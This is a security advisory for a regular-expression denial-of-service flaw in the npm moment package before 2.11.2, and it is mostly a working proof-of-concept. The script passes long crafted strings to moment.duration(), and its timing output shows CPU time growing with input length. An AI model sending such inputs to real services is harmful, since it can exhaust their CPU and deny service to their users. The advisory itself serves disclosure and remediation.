The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."

GHSA-87vv-r9j6-g5qv — Regular Expression Denial of Service in moment

Affected: npm: moment

Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.

## Proof of concept ``` var moment = require('moment');

var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; }

return result; }

for (i=20000;i<=10000000;i=i+10000) { console.log("COUNT: " + i); var str = '-' + genstr(i, '1') console.log("LENGTH: " + str.length); var start = process.hrtime(); moment.duration(str)

var end = process.hrtime(start); console.log(end); } ```

### Results ``` $ node moment.js COUNT: 20000 LENGTH: 20002 [ 0, 618931029 ] COUNT: 30001 LENGTH: 30003 [ 1, 401413894 ] COUNT: 40002 LENGTH: 40004 [ 2, 437075303 ] COUNT: 50003 LENGTH: 50005 [ 3, 824664804 ] COUNT: 60004 LENGTH: 60006 [ 5, 651335262 ] ```

## Recommendation

Please update to version 2.11.2 or later.
